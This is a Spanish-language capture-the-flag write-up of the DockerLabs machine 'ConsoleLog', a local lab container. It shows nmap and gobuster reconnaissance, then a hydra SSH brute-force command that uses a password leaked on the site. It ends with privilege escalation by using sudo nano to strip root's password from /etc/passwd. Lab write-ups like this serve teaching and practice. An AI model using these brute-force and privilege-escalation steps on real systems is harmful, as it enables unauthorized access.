> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/consolelog.md).

# ConsoleLog

## Maquina

<figure><img src="/files/9j0auYXL3B4MmTeWVdP3" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN nmap.txt
```

```
PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Mi Sitio
3000/tcp open  http    syn-ack ttl 64 Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Error
5000/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 f8:37:10:7e:16:a2:27:b8:3a:6e:2c:16:35:7d:14:fe (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFJIePZQO0+XTgRiD8dhTqAlZt67hcjqMdzF07uhb1UjckCZ085MdTFxg46SKaJRwi1OiB8GT+SeIlFbvm99Xkc=
|   256 cd:11:10:64:60:e8:bf:d9:a4:f4:8e:ae:3b:d8:e1:8d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIESd2Y3i6yTEAk2fPflmI3fA4pNsVZub38LafzPteZlz
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobuster

```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
```

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backend              (Status: 301) [Size: 310] [--> http://172.17.0.2/backend/]
/javascript           (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/server-status        (Status: 403) [Size: 275]
Progress: 217424 / 220561 (98.58%)
===============================================================
Finished
===============================================================
```

### Web

Si entramos el la web, en la pagina principal solo habrá un botón, si nos metemos en el código de esta encontraremos una redireccion a un archivo `.js`:

<figure><img src="/files/OS4Swss0daPvk9ZiAwQY" alt=""><figcaption></figcaption></figure>

Si nos metemos en los otros directorios que hemos sacado con `gobuster` encontraremos mas directorios, el único a destacar es este, ya que parece ser que contienen una contraseña.

<figure><img src="/files/eGPMJR6lEMW8L59fkrKV" alt=""><figcaption></figcaption></figure>

## Explotación

Teniendo esta contraseña, podemos intentar hacer una ataque de fuerza bruta.

```bash
hydra -L /usr/share/wordlists/rockyou.txt -p lapassworddebackupmaschingonadetodas 172.17.0.2 ssh -s 5000 -t 50
```

```
[5000][ssh] host: 172.17.0.2   login: lovely   password: lapassworddebackupmaschingonadetodas
```

Con esto obtenemos un usuario para poder conectarnos por ssh:

<figure><img src="/files/Q2VYwRUs7g5MmJaruldW" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Miramos los permisos de este usuario:

<figure><img src="/files/sJ1IOfcOwCY9ejwDU8yI" alt=""><figcaption></figcaption></figure>

Como tenemos permisos de root con nano podemos editar el archivo passwd y quitarle la contraseña a root:

<figure><img src="/files/uhfpKuPtF8WN763PqoxA" alt=""><figcaption></figcaption></figure>

De esta manera nos podríamos cambiar al usuario root sin necesidad de una contraseña:

<figure><img src="/files/0aGxtui3GqJBoxdxzrDf" alt=""><figcaption></figcaption></figure>

## Conclusion

Es una maquina bastante fácil, que en mi opinion sirve para asentar conceptos básicos.